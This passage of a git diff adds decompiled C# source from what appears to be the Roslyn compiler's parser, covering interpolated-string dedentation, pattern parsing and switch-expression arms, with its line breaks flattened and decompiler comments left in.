Lexer.InterpolatedStringKind.Verbatim => 8484, + Lexer.InterpolatedStringKind.SingleLineRaw => 9072, + Lexer.InterpolatedStringKind.MultiLineRaw => 9073, + _ => throw ExceptionUtilities.UnexpectedValue((object)kind), + }; + string text = originalText; + Range range = openQuoteRange; + return SyntaxFactory.Token(leadingTrivia2, (SyntaxKind)kind2, text[range.Start..range.End], null); + } + InterpolatedStringContentSyntax? makeContent(ReadOnlySpan indentationWhitespace, StringBuilder content, bool isFirst, bool isLast, ReadOnlySpan text) + { + if (text.Length == 0) + { + return null; + } + if (!needsDedentation || indentationWhitespace.IsEmpty) + { + return SyntaxFactory.InterpolatedStringText(MakeInterpolatedStringTextToken(kind, text.ToString())); + } + content.Clear(); + int num = 0; + if (!isFirst) + { + num = ConsumeRemainingContentThroughNewLine(content, text, num); + } + SyntaxDiagnosticInfo syntaxDiagnosticInfo = null; + while (num < text.Length) + { + int num2 = num; + if (syntaxDiagnosticInfo == null) + { + num = SkipWhitespace(text, num); + int num3 = num2; + ReadOnlySpan readOnlySpan = text.Slice(num3, num - num3); + if (!readOnlySpan.StartsWith(indentationWhitespace) && ((!(num == text.Length && isLast) && (num >= text.Length || !SyntaxFacts.IsNewLine(text[num]))) || !indentationWhitespace.StartsWith(readOnlySpan))) + { + if (CheckForSpaceDifference(readOnlySpan, indentationWhitespace, out string currentLineMessage, out string indentationLineMessage)) + { + if (syntaxDiagnosticInfo == null) + { + syntaxDiagnosticInfo = SyntaxParser.MakeError(num2, num - num2, ErrorCode.ERR_LineContainsDifferentWhitespace, currentLineMessage, indentationLineMessage); + } + } + else if (syntaxDiagnosticInfo == null) + { + syntaxDiagnosticInfo = SyntaxParser.MakeError(num2, num - num2, ErrorCode.ERR_LineDoesNotStartWithSameWhitespace); + } + } + } + num = Math.Min(num, num2 + indentationWhitespace.Length); + num = ConsumeRemainingContentThroughNewLine(content, text, num); + } + string text2 = text.ToString(); + string value = ((syntaxDiagnosticInfo != null) ? text2 : content.ToString()); + InterpolatedStringTextSyntax interpolatedStringTextSyntax = SyntaxFactory.InterpolatedStringText(SyntaxFactory.Literal(null, text2, SyntaxKind.InterpolatedStringTextToken, value, null)); + if (syntaxDiagnosticInfo == null) + { + return interpolatedStringTextSyntax; + } + DiagnosticInfo[] array = (DiagnosticInfo[])(object)new SyntaxDiagnosticInfo[1] { syntaxDiagnosticInfo }; + return GreenNodeExtensions.WithDiagnosticsGreen(interpolatedStringTextSyntax, array); + } + void rescanInterpolation(out Lexer.InterpolatedStringKind kind2, out SyntaxDiagnosticInfo? error2, out Range openQuoteRange2, ArrayBuilder interpolations2, out Range closeQuoteRange2) + { + using Lexer lexer = new Lexer(SourceText.From(originalText, (Encoding)null, (SourceHashAlgorithm)1), base.Options, allowPreprocessorDirectives: false); + Lexer.TokenInfo info = default(Lexer.TokenInfo); + lexer.ScanInterpolatedStringLiteralTop(ref info, out error2, out kind2, out openQuoteRange2, interpolations2, out closeQuoteRange2); + } + } + + private static bool CheckForSpaceDifference(ReadOnlySpan currentLineWhitespace, ReadOnlySpan indentationLineWhitespace, [NotNullWhen(true)] out string? currentLineMessage, [NotNullWhen(true)] out string? indentationLineMessage) + { + int i = 0; + for (int num = Math.Min(currentLineWhitespace.Length, indentationLineWhitespace.Length); i < num; i++) + { + char c = currentLineWhitespace[i]; + char c2 = indentationLineWhitespace[i]; + if (c != c2 && SyntaxFacts.IsWhitespace(c) && SyntaxFacts.IsWhitespace(c2)) + { + currentLineMessage = Lexer.CharToString(c); + indentationLineMessage = Lexer.CharToString(c2); + return true; + } + } + currentLineMessage = null; + indentationLineMessage = null; + return false; + } + + private static SyntaxToken TokenOrMissingToken(GreenNode? leading, SyntaxKind kind, string text, GreenNode? trailing) + { + if (!(text == "")) + { + return SyntaxFactory.Token(leading, kind, text, trailing); + } + return SyntaxFactory.MissingToken(leading, kind, trailing); + } + + private static int SkipWhitespace(ReadOnlySpan text, int currentIndex) + { + while (currentIndex < text.Length && SyntaxFacts.IsWhitespace(text[currentIndex])) + { + currentIndex++; + } + return currentIndex; + } + + private unsafe static int ConsumeRemainingContentThroughNewLine(StringBuilder content, ReadOnlySpan text, int currentIndex) + { + int num = currentIndex; + while (currentIndex < text.Length) + { + char c = text[currentIndex]; + if (!SyntaxFacts.IsNewLine(c)) + { + currentIndex++; + continue; + } + currentIndex += SlidingTextWindow.GetNewLineWidth(c, (currentIndex + 1 < text.Length) ? text[currentIndex + 1] : '\0'); + break; + } + int num2 = num; + ReadOnlySpan readOnlySpan = text.Slice(num2, currentIndex - num2); + fixed (char* value = readOnlySpan) + { + content.Append(value, readOnlySpan.Length); + } + return currentIndex; + } + + private static InterpolationSyntax ParseInterpolation(CSharpParseOptions options, string text, Lexer.Interpolation interpolation, Lexer.InterpolatedStringKind kind) + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + Range range = (interpolation.HasColon ? interpolation.ColonRange : interpolation.CloseBraceRange); + Index end = interpolation.OpenBraceRange.End; + Index start = range.Start; + int length = text.Length; + int offset = end.GetOffset(length); + using Lexer lexer = new Lexer(SourceText.From(text.Substring(offset, start.GetOffset(length) - offset), (Encoding)null, (SourceHashAlgorithm)1), options, allowPreprocessorDirectives: false, interpolation.HasColon); + SyntaxTriviaList val = lexer.LexSyntaxTrailingTrivia(); + GreenNode node = ((SyntaxTriviaList)(ref val)).Node; + using LanguageParser languageParser = new LanguageParser(lexer, null, null); + Lexer.Interpolation interpolation2 = interpolation; + Range openBraceRange = interpolation.OpenBraceRange; + return languageParser.ParseInterpolation(text, interpolation2, kind, SyntaxFactory.Token(null, SyntaxKind.OpenBraceToken, text[openBraceRange.Start..openBraceRange.End], node)); + } + + private InterpolationSyntax ParseInterpolation(string text, Lexer.Interpolation interpolation, Lexer.InterpolatedStringKind kind, SyntaxToken openBraceToken) + { + var (expression, alignmentClause) = getExpressionAndAlignment(); + var (formatClause, closeBraceToken) = getFormatAndCloseBrace(); + return SyntaxFactory.Interpolation(openBraceToken, expression, alignmentClause, formatClause, closeBraceToken); + (ExpressionSyntax expression, InterpolationAlignmentClauseSyntax? alignment) getExpressionAndAlignment() + { + ExpressionSyntax expressionSyntax = ParseExpressionCore(); + if (base.CurrentToken.Kind != SyntaxKind.CommaToken) + { + return (expression: ConsumeUnexpectedTokens(expressionSyntax), alignment: null); + } + InterpolationAlignmentClauseSyntax item = SyntaxFactory.InterpolationAlignmentClause(EatToken(SyntaxKind.CommaToken), ConsumeUnexpectedTokens(ParseExpressionCore())); + return (expression: expressionSyntax, alignment: item); + } + (InterpolationFormatClauseSyntax? format, SyntaxToken closeBraceToken) getFormatAndCloseBrace() + { + GreenNode leadingTrivia = base.CurrentToken.GetLeadingTrivia(); + if (interpolation.HasColon) + { + string text2 = text; + Range colonRange = interpolation.ColonRange; + SyntaxToken colonToken = SyntaxFactory.Token(leadingTrivia, SyntaxKind.ColonToken, text2[colonRange.Start..colonRange.End], null); + Lexer.InterpolatedStringKind kind2 = kind; + string text3 = text; + Index end = interpolation.ColonRange.End; + Index start = interpolation.CloseBraceRange.Start; + int length = text3.Length; + int offset = end.GetOffset(length); + return (format: SyntaxFactory.InterpolationFormatClause(colonToken, MakeInterpolatedStringTextToken(kind2, text3.Substring(offset, start.GetOffset(length) - offset))), closeBraceToken: getInterpolationCloseToken(null)); + } + return (format: null, closeBraceToken: getInterpolationCloseToken(leadingTrivia)); + } + SyntaxToken getInterpolationCloseToken(GreenNode? leading) + { + string text2 = text; + Range closeBraceRange = interpolation.CloseBraceRange; + return TokenOrMissingToken(leading, SyntaxKind.CloseBraceToken, text2[closeBraceRange.Start..closeBraceRange.End], null); + } + } + + private SyntaxToken MakeInterpolatedStringTextToken(Lexer.InterpolatedStringKind kind, string text) + { + if ((uint)(kind - 2) <= 1u) + { + return SyntaxFactory.Literal(null, text, SyntaxKind.InterpolatedStringTextToken, text, null); + } + string text2 = ((kind == Lexer.InterpolatedStringKind.Verbatim) ? "@\"" : "\""); + using Lexer lexer = new Lexer(SourceText.From(text2 + text + "\"", (Encoding)null, (SourceHashAlgorithm)1), base.Options, allowPreprocessorDirectives: false); + LexerMode mode = LexerMode.Syntax; + SyntaxToken syntaxToken = lexer.Lex(ref mode); + SyntaxToken syntaxToken2 = SyntaxFactory.Literal(null, text, SyntaxKind.InterpolatedStringTextToken, syntaxToken.ValueText, null); + if (((GreenNode)syntaxToken).ContainsDiagnostics) + { + syntaxToken2 = GreenNodeExtensions.WithDiagnosticsGreen(syntaxToken2, MoveDiagnostics(((GreenNode)syntaxToken).GetDiagnostics(), -text2.Length)); + } + return syntaxToken2; + } + + private static DiagnosticInfo[] MoveDiagnostics(DiagnosticInfo[] infos, int offset) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(infos.Length); + for (int i = 0; i < infos.Length; i++) + { + SyntaxDiagnosticInfo syntaxDiagnosticInfo = (SyntaxDiagnosticInfo)(object)infos[i]; + instance.Add((DiagnosticInfo)(object)syntaxDiagnosticInfo.WithOffset(syntaxDiagnosticInfo.Offset + offset)); + } + return instance.ToArrayAndFree(); + } + + private CSharpSyntaxNode ParseTypeOrPatternForIsOperator() + { + PatternSyntax patternSyntax = ParsePattern(GetPrecedence(SyntaxKind.IsPatternExpression), afterIs: true); + if (!(patternSyntax is ConstantPatternSyntax constantPatternSyntax)) + { + if (patternSyntax is TypePatternSyntax typePatternSyntax) + { + return typePatternSyntax.Type; + } + if (patternSyntax is DiscardPatternSyntax discardPatternSyntax) + { + DiscardPatternSyntax discardPatternSyntax2 = discardPatternSyntax; + return _syntaxFactory.IdentifierName(SyntaxParser.ConvertToIdentifier(discardPatternSyntax2.UnderscoreToken)); + } + } + else + { + ConstantPatternSyntax constantPatternSyntax2 = constantPatternSyntax; + if (ConvertExpressionToType(constantPatternSyntax2.Expression, out NameSyntax type)) + { + return type; + } + } + return patternSyntax; + } + + private bool ConvertExpressionToType(ExpressionSyntax expression, [NotNullWhen(true)] out NameSyntax? type) + { + if (!(expression is SimpleNameSyntax simpleNameSyntax)) + { + if (expression is MemberAccessExpressionSyntax memberAccessExpressionSyntax) + { + ExpressionSyntax expression2 = memberAccessExpressionSyntax.Expression; + SyntaxToken operatorToken = memberAccessExpressionSyntax.OperatorToken; + if (operatorToken != null && operatorToken.Kind == SyntaxKind.DotToken) + { + SimpleNameSyntax name = memberAccessExpressionSyntax.Name; + ExpressionSyntax expression3 = expression2; + SyntaxToken dotToken = operatorToken; + SimpleNameSyntax right = name; + if (ConvertExpressionToType(expression3, out NameSyntax type2)) + { + type = _syntaxFactory.QualifiedName(type2, dotToken, right); + return true; + } + } + } + else if (expression is AliasQualifiedNameSyntax aliasQualifiedNameSyntax) + { + AliasQualifiedNameSyntax aliasQualifiedNameSyntax2 = aliasQualifiedNameSyntax; + type = aliasQualifiedNameSyntax2; + return true; + } + type = null; + return false; + } + SimpleNameSyntax simpleNameSyntax2 = simpleNameSyntax; + type = simpleNameSyntax2; + return true; + } + + private PatternSyntax ParsePattern(Precedence precedence, bool afterIs = false, bool whenIsKeyword = false) + { + return ParseDisjunctivePattern(precedence, afterIs, whenIsKeyword); + } + + private PatternSyntax ParseDisjunctivePattern(Precedence precedence, bool afterIs, bool whenIsKeyword) + { + PatternSyntax patternSyntax = ParseConjunctivePattern(precedence, afterIs, whenIsKeyword); + while (base.CurrentToken.ContextualKind == SyntaxKind.OrKeyword) + { + patternSyntax = _syntaxFactory.BinaryPattern(SyntaxKind.OrPattern, patternSyntax, SyntaxParser.ConvertToKeyword(EatToken()), ParseConjunctivePattern(precedence, afterIs, whenIsKeyword)); + } + return patternSyntax; + } + + private bool LooksLikeTypeOfPattern() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (SyntaxFacts.IsPredefinedType(kind)) + { + return true; + } + if (kind == SyntaxKind.IdentifierToken && base.CurrentToken.ContextualKind != SyntaxKind.UnderscoreToken && (base.CurrentToken.ContextualKind != SyntaxKind.NameOfKeyword || PeekToken(1).Kind != SyntaxKind.OpenParenToken)) + { + return true; + } + if (LooksLikeTupleArrayType()) + { + return true; + } + if (IsFunctionPointerStart()) + { + return true; + } + return false; + } + + private PatternSyntax ParseConjunctivePattern(Precedence precedence, bool afterIs, bool whenIsKeyword) + { + PatternSyntax patternSyntax = ParseNegatedPattern(precedence, afterIs, whenIsKeyword); + while (base.CurrentToken.ContextualKind == SyntaxKind.AndKeyword) + { + patternSyntax = _syntaxFactory.BinaryPattern(SyntaxKind.AndPattern, patternSyntax, SyntaxParser.ConvertToKeyword(EatToken()), ParseNegatedPattern(precedence, afterIs, whenIsKeyword)); + } + return patternSyntax; + } + + private bool ScanDesignation(bool permitTuple) + { + switch (base.CurrentToken.Kind) + { + default: + return false; + case SyntaxKind.IdentifierToken: + { + bool result2 = IsTrueIdentifier(); + EatToken(); + return result2; + } + case SyntaxKind.OpenParenToken: + { + if (!permitTuple) + { + return false; + } + bool result = false; + while (true) + { + EatToken(); + if (!ScanDesignation(permitTuple: true)) + { + break; + } + switch (base.CurrentToken.Kind) + { + case SyntaxKind.CloseParenToken: + EatToken(); + return result; + case SyntaxKind.CommaToken: + break; + default: + return false; + } + result = true; + } + return false; + } + } + } + + private PatternSyntax ParseNegatedPattern(Precedence precedence, bool afterIs, bool whenIsKeyword) + { + if (base.CurrentToken.ContextualKind == SyntaxKind.NotKeyword) + { + return _syntaxFactory.UnaryPattern(SyntaxParser.ConvertToKeyword(EatToken()), ParseNegatedPattern(precedence, afterIs, whenIsKeyword)); + } + return ParsePrimaryPattern(precedence, afterIs, whenIsKeyword); + } + + private PatternSyntax ParsePrimaryPattern(Precedence precedence, bool afterIs, bool whenIsKeyword) + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.CloseParenToken: + case SyntaxKind.CloseBraceToken: + case SyntaxKind.CloseBracketToken: + case SyntaxKind.SemicolonToken: + case SyntaxKind.CommaToken: + case SyntaxKind.EqualsGreaterThanToken: + return _syntaxFactory.ConstantPattern(ParseIdentifierName(ErrorCode.ERR_MissingPattern)); + default: + if (base.CurrentToken.ContextualKind == SyntaxKind.UnderscoreToken) + { + return _syntaxFactory.DiscardPattern(EatContextualToken(SyntaxKind.UnderscoreToken)); + } + switch (base.CurrentToken.Kind) + { + case SyntaxKind.OpenBracketToken: + return ParseListPattern(whenIsKeyword); + case SyntaxKind.DotDotToken: + return _syntaxFactory.SlicePattern(EatToken(), IsPossibleSubpatternElement() ? ParsePattern(precedence, afterIs: false, whenIsKeyword) : null); + case SyntaxKind.LessThanToken: + case SyntaxKind.GreaterThanToken: + case SyntaxKind.ExclamationEqualsToken: + case SyntaxKind.EqualsEqualsToken: + case SyntaxKind.LessThanEqualsToken: + case SyntaxKind.GreaterThanEqualsToken: + return _syntaxFactory.RelationalPattern(EatToken(), ParseSubExpression(Precedence.Relational)); + default: + { + using DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false); + TypeSyntax typeSyntax = null; + if (LooksLikeTypeOfPattern()) + { + typeSyntax = ParseType(afterIs ? ParseTypeMode.AfterIs : ParseTypeMode.DefinitePattern); + if (((GreenNode)typeSyntax).IsMissing || !CanTokenFollowTypeInPattern(precedence)) + { + disposableResetPoint.Reset(); + typeSyntax = null; + } + } + PatternSyntax patternSyntax = ParsePatternContinued(typeSyntax, precedence, whenIsKeyword); + if (patternSyntax != null) + { + return patternSyntax; + } + disposableResetPoint.Reset(); + ExpressionSyntax expression = ParseSubExpression(precedence); + return _syntaxFactory.ConstantPattern(expression); + } + } + } + } + + private bool CanTokenFollowTypeInPattern(Precedence precedence) + { + SyntaxKind kind = base.CurrentToken.Kind; + switch (kind) + { + case SyntaxKind.OpenParenToken: + case SyntaxKind.CloseParenToken: + case SyntaxKind.OpenBraceToken: + case SyntaxKind.CloseBraceToken: + case SyntaxKind.CloseBracketToken: + case SyntaxKind.SemicolonToken: + case SyntaxKind.CommaToken: + case SyntaxKind.IdentifierToken: + return true; + case SyntaxKind.DotToken: + return false; + case SyntaxKind.ExclamationToken: + case SyntaxKind.MinusGreaterThanToken: + return false; + default: + if (SyntaxFacts.IsBinaryExpressionOperatorToken(kind)) + { + return GetPrecedence(SyntaxFacts.GetBinaryExpression(kind)) <= precedence; + } + return true; + } + } + + private PatternSyntax? ParsePatternContinued(TypeSyntax? type, Precedence precedence, bool whenIsKeyword) + { + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_01b3: Unknown result type (might be due to invalid IL or missing references) + if (type != null && type.Kind == SyntaxKind.IdentifierName) + { + SyntaxToken identifier = ((IdentifierNameSyntax)type).Identifier; + if (identifier.ContextualKind == SyntaxKind.VarKeyword && (base.CurrentToken.Kind == SyntaxKind.OpenParenToken || IsValidPatternDesignation(whenIsKeyword))) + { + SyntaxToken varKeyword = SyntaxParser.ConvertToKeyword(identifier); + VariableDesignationSyntax designation = ParseDesignation(forPattern: true); + return _syntaxFactory.VarPattern(varKeyword, designation); + } + } + if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken && (type != null || !looksLikeCast())) + { + SyntaxToken openToken = EatToken(SyntaxKind.OpenParenToken); + SeparatedSyntaxList subpatterns = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseParenToken, (LanguageParser @this) => @this.IsPossibleSubpatternElement(), (LanguageParser @this) => @this.ParseSubpatternElement(), SkipBadPatternListTokens, allowTrailingSeparator: false, requireOneElement: false, allowSemicolonAsSeparator: false); + SyntaxToken closeParenToken = EatToken(SyntaxKind.CloseParenToken); + parsePropertyPatternClause(out var propertyPatternClauseResult); + VariableDesignationSyntax variableDesignationSyntax = TryParseSimpleDesignation(whenIsKeyword); + if (type == null && propertyPatternClauseResult == null && variableDesignationSyntax == null && subpatterns.Count == 1 && subpatterns.SeparatorCount == 0) + { + SubpatternSyntax subpatternSyntax = subpatterns[0]; + if (subpatternSyntax.ExpressionColon == null) + { + PatternSyntax pattern = subpatternSyntax.Pattern; + if (pattern is ConstantPatternSyntax constantPatternSyntax) + { + ExpressionSyntax leftOperand = _syntaxFactory.ParenthesizedExpression(openToken, constantPatternSyntax.Expression, closeParenToken); + leftOperand = ParseExpressionContinued(leftOperand, precedence); + return _syntaxFactory.ConstantPattern(leftOperand); + } + return _syntaxFactory.ParenthesizedPattern(openToken, pattern, closeParenToken); + } + } + PositionalPatternClauseSyntax positionalPatternClause = _syntaxFactory.PositionalPatternClause(openToken, subpatterns, closeParenToken); + return _syntaxFactory.RecursivePattern(type, positionalPatternClause, propertyPatternClauseResult, variableDesignationSyntax); + } + if (parsePropertyPatternClause(out var propertyPatternClauseResult2)) + { + return _syntaxFactory.RecursivePattern(type, null, propertyPatternClauseResult2, TryParseSimpleDesignation(whenIsKeyword)); + } + if (type != null) + { + VariableDesignationSyntax variableDesignationSyntax2 = TryParseSimpleDesignation(whenIsKeyword); + if (variableDesignationSyntax2 != null) + { + return _syntaxFactory.DeclarationPattern(type, variableDesignationSyntax2); + } + if (!ConvertTypeToExpression(type, out ExpressionSyntax expr)) + { + return _syntaxFactory.TypePattern(type); + } + return _syntaxFactory.ConstantPattern(ParseExpressionContinued(expr, precedence)); + } + return null; + bool looksLikeCast() + { + using (GetDisposableResetPoint(resetOnDispose: true)) + { + return ScanCast(forPattern: true); + } + } + bool parsePropertyPatternClause([NotNullWhen(true)] out PropertyPatternClauseSyntax? reference) + { + if (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken) + { + reference = ParsePropertyPatternClause(); + return true; + } + reference = null; + return false; + } + } + + private VariableDesignationSyntax? TryParseSimpleDesignation(bool whenIsKeyword) + { + if (!IsTrueIdentifier() || !IsValidPatternDesignation(whenIsKeyword)) + { + return null; + } + return ParseSimpleDesignation(); + } + + private bool IsValidPatternDesignation(bool whenIsKeyword) + { + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken) + { + switch (base.CurrentToken.ContextualKind) + { + case SyntaxKind.WhenKeyword: + return !whenIsKeyword; + case SyntaxKind.OrKeyword: + case SyntaxKind.AndKeyword: + { + SyntaxKind kind = PeekToken(1).Kind; + switch (kind) + { + case SyntaxKind.CloseParenToken: + case SyntaxKind.CloseBraceToken: + case SyntaxKind.CloseBracketToken: + case SyntaxKind.ColonToken: + case SyntaxKind.SemicolonToken: + case SyntaxKind.CommaToken: + case SyntaxKind.QuestionToken: + return true; + case SyntaxKind.OpenParenToken: + case SyntaxKind.OpenBraceToken: + case SyntaxKind.OpenBracketToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.GreaterThanToken: + case SyntaxKind.LessThanEqualsToken: + case SyntaxKind.GreaterThanEqualsToken: + case SyntaxKind.IdentifierToken: + return false; + default: + if (SyntaxFacts.IsBinaryExpression(kind)) + { + return true; + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + EatToken(); + return !CanStartExpression(); + } + } + } + default: + return true; + } + } + return false; + } + + private CSharpSyntaxNode ParseExpressionOrPatternForSwitchStatement() + { + TerminatorState termState = _termState; + _termState |= TerminatorState.IsExpressionOrPatternInCaseLabelOfSwitchStatement; + PatternSyntax pattern = ParsePattern(Precedence.Conditional, afterIs: false, whenIsKeyword: true); + _termState = termState; + return ConvertPatternToExpressionIfPossible(pattern); + } + + private CSharpSyntaxNode ConvertPatternToExpressionIfPossible(PatternSyntax pattern, bool permitTypeArguments = false) + { + if (!(pattern is ConstantPatternSyntax constantPatternSyntax)) + { + if (!(pattern is TypePatternSyntax typePatternSyntax)) + { + if (pattern is DiscardPatternSyntax discardPatternSyntax) + { + DiscardPatternSyntax discardPatternSyntax2 = discardPatternSyntax; + return _syntaxFactory.IdentifierName(SyntaxParser.ConvertToIdentifier(discardPatternSyntax2.UnderscoreToken)); + } + } + else + { + TypePatternSyntax typePatternSyntax2 = typePatternSyntax; + if (ConvertTypeToExpression(typePatternSyntax2.Type, out ExpressionSyntax expr, permitTypeArguments)) + { + return expr; + } + } + return pattern; + } + return constantPatternSyntax.Expression; + } + + private bool ConvertTypeToExpression(TypeSyntax type, [NotNullWhen(true)] out ExpressionSyntax? expr, bool permitTypeArguments = false) + { + if (!(type is GenericNameSyntax genericNameSyntax)) + { + if (!(type is SimpleNameSyntax simpleNameSyntax)) + { + if (type is QualifiedNameSyntax qualifiedNameSyntax) + { + NameSyntax left = qualifiedNameSyntax.Left; + SyntaxToken dotToken = qualifiedNameSyntax.dotToken; + SimpleNameSyntax right = qualifiedNameSyntax.Right; + if (permitTypeArguments || !(right is GenericNameSyntax)) + { + ExpressionSyntax expr2; + ExpressionSyntax expression = (ConvertTypeToExpression(left, out expr2, permitTypeArguments: true) ? expr2 : left); + expr = _syntaxFactory.MemberAccessExpression(SyntaxKind.SimpleMemberAccessExpression, expression, dotToken, right); + return true; + } + } + expr = null; + return false; + } + expr = simpleNameSyntax; + return true; + } + expr = genericNameSyntax; + return permitTypeArguments; + } + + private bool LooksLikeTupleArrayType() + { + if (base.CurrentToken.Kind != SyntaxKind.OpenParenToken) + { + return false; + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + return ScanType(forPattern: true) != ScanTypeFlags.NotType; + } + } + + private PropertyPatternClauseSyntax ParsePropertyPatternClause() + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openToken = EatToken(SyntaxKind.OpenBraceToken); + SeparatedSyntaxList subpatterns = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBraceToken, (LanguageParser @this) => @this.IsPossibleSubpatternElement(), (LanguageParser @this) => @this.ParseSubpatternElement(), SkipBadPatternListTokens, allowTrailingSeparator: true, requireOneElement: false, allowSemicolonAsSeparator: false); + return _syntaxFactory.PropertyPatternClause(openToken, subpatterns, EatToken(SyntaxKind.CloseBraceToken)); + } + + private SubpatternSyntax ParseSubpatternElement() + { + BaseExpressionColonSyntax expressionColon = null; + PatternSyntax pattern = ParsePattern(Precedence.Conditional); + if (base.CurrentToken.Kind == SyntaxKind.ColonToken && ConvertPatternToExpressionIfPossible(pattern, permitTypeArguments: true) is ExpressionSyntax expressionSyntax) + { + SyntaxToken colonToken = EatToken(); + expressionColon = ((expressionSyntax is IdentifierNameSyntax name) ? ((BaseExpressionColonSyntax)_syntaxFactory.NameColon(name, colonToken)) : ((BaseExpressionColonSyntax)_syntaxFactory.ExpressionColon(expressionSyntax, colonToken))); + pattern = ParsePattern(Precedence.Conditional); + } + return _syntaxFactory.Subpattern(expressionColon, pattern); + } + + private bool IsPossibleSubpatternElement() + { + bool flag = CanStartExpression(); + if (!flag) + { + bool flag2; + switch (base.CurrentToken.Kind) + { + case SyntaxKind.OpenBraceToken: + case SyntaxKind.OpenBracketToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.GreaterThanToken: + case SyntaxKind.LessThanEqualsToken: + case SyntaxKind.GreaterThanEqualsToken: + flag2 = true; + break; + default: + flag2 = false; + break; + } + flag = flag2; + } + return flag; + } + + private static PostSkipAction SkipBadPatternListTokens(LanguageParser @this, ref SyntaxToken open, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind) where T : CSharpSyntaxNode + { + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + bool flag; + switch (@this.CurrentToken.Kind) + { + case SyntaxKind.CloseParenToken: + case SyntaxKind.CloseBraceToken: + case SyntaxKind.CloseBracketToken: + case SyntaxKind.SemicolonToken: + flag = true; + break; + default: + flag = false; + break; + } + if (flag) + { + return PostSkipAction.Abort; + } + if (@this._termState.HasFlag(TerminatorState.IsExpressionOrPatternInCaseLabelOfSwitchStatement) && @this.CurrentToken.Kind == SyntaxKind.ColonToken) + { + return PostSkipAction.Abort; + } + flag = @this._termState.HasFlag(TerminatorState.IsPatternInSwitchExpressionArm); + if (flag) + { + SyntaxKind kind = @this.CurrentToken.Kind; + bool flag2 = ((kind == SyntaxKind.ColonToken || kind == SyntaxKind.EqualsGreaterThanToken) ? true : false); + flag = flag2; + } + if (flag) + { + return PostSkipAction.Abort; + } + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref open, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleSubpatternElement(), (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind || p.CurrentToken.Kind == SyntaxKind.SemicolonToken, expectedKind, closeKind); + } + + private SwitchExpressionSyntax ParseSwitchExpression(ExpressionSyntax governingExpression, SyntaxToken switchKeyword) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.SwitchExpression(governingExpression, switchKeyword, EatToken(SyntaxKind.OpenBraceToken), ParseSwitchExpressionArms(), EatToken(SyntaxKind.CloseBraceToken)); + } + + private SeparatedSyntaxList ParseSwitchExpressionArms() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_013c: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxListBuilder val = _pool.AllocateSeparated(); + while (base.CurrentToken.Kind != SyntaxKind.CloseBraceToken) + { + SyntaxToken syntaxToken = ((base.CurrentToken.Kind == SyntaxKind.CaseKeyword) ? AddError(EatToken(), ErrorCode.ERR_BadCaseInSwitchArm) : null); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsPatternInSwitchExpressionArm; + PatternSyntax patternSyntax = ParsePattern(Precedence.Coalescing, afterIs: false, whenIsKeyword: true); + _termState = termState; + if (syntaxToken != null) + { + patternSyntax = AddLeadingSkippedSyntax(patternSyntax, (GreenNode)(object)syntaxToken); + } + SwitchExpressionArmSyntax switchExpressionArmSyntax = _syntaxFactory.SwitchExpressionArm(patternSyntax, ParseWhenClause(Precedence.Coalescing), (base.CurrentToken.Kind == SyntaxKind.ColonToken) ? EatTokenAsKind(SyntaxKind.EqualsGreaterThanToken) : EatToken(SyntaxKind.EqualsGreaterThanToken), ParseExpressionCore()); + if (((GreenNode)switchExpressionArmSyntax).Width == 0 && base.CurrentToken.Kind != SyntaxKind.CommaToken) + { + break; + } + val.Add(switchExpressionArmSyntax); + if (base.CurrentToken.Kind != SyntaxKind.CloseBraceToken) + { + SyntaxToken syntaxToken2 = ((base.CurrentToken.Kind == SyntaxKind.SemicolonToken) ? EatTokenAsKind(SyntaxKind.CommaToken) : EatToken(SyntaxKind.CommaToken)); + val.AddSeparator((GreenNode)(object)syntaxToken2); + } + } + return _pool.ToListAndFree(ref val); + } + + private ListPatternSyntax ParseListPattern(bool whenIsKeyword) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openToken = EatToken(SyntaxKind.OpenBracketToken); + SeparatedSyntaxList patterns = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBracketToken, (LanguageParser @this) => @this.IsPossibleSubpatternElement(), (LanguageParser @this) => @this.ParsePattern(Precedence.Conditional), SkipBadPatternListTokens, allowTrailingSeparator: true, requireOneElement: false, allowSemicolonAsSeparator: false); + return _syntaxFactory.ListPattern(openToken, patterns, EatToken(SyntaxKind.CloseBracketToken), TryParseSimpleDesignation(whenIsKeyword)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LetClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LetClauseSyntax.cs new file mode 100644 index 0000000..5faaaa9 